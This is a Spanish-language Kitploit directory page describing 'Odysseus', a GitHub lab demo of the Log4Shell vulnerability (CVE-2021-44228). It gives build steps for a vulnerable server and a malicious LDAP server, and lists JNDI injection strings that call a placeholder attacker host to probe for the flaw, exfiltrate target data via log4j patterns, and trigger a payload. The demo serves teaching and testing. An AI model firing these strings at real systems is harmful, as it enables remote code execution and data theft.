Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Odysseus — Una demo de la vulnerabilidad Log4Shell (CVE-2021-44228). | Kitploit
Herramientas/GitHubGitHub/roshanshibu/odysseus
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebComando y ControlAprendizaje y EducaciónDesarrollo de Payloads
GitHubroshanshibu/odysseus

Odysseus

Una demo de la vulnerabilidad Log4Shell (CVE-2021-44228).

Ver Repositorio
14hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Odysseus

Una demo de la vulnerabilidad Log4Shell (CVE-2021-44228).

Instrucciones de compilación

El servidor web vulnerable y el servidor LDAP malicioso fueron compilados y probados en JDK 1.8.0_181.

Servidor web de los buenos

  1. Dentro de goodguys, ejecute gradlew bootJar
  2. Ejecute el servidor web vulnerable usando java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar

Servidor LDAP/web de los malos

  1. Dentro de badguys, ejecute mvn package
  2. Ejecute el servidor malicioso usando java -jar .\target\evil-server.jar
Descargar herramienta

Nota: Windows Defender puede mover silenciosamente target\classes\Exploit.class a la cuarentena.

Carga maliciosa

Los comandos maliciosos están definidos dentro de Exploit.java.

Disparador de inyección

EntradaObservaciones
${jndi:ldap://evil-server-hostname:389/Recon}Comprueba si el objetivo es vulnerable escuchando una solicitud de conexión al servidor LDAP.
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)]Agregue cualquier layout de patrón log4j válido para recopilar los datos del objetivo y mostrarlos en la terminal del atacante.
${jndi:ldap://evil-server-hostname:389/Exploit}Ejecute la carga maliciosa.

Referencias

https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/ https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/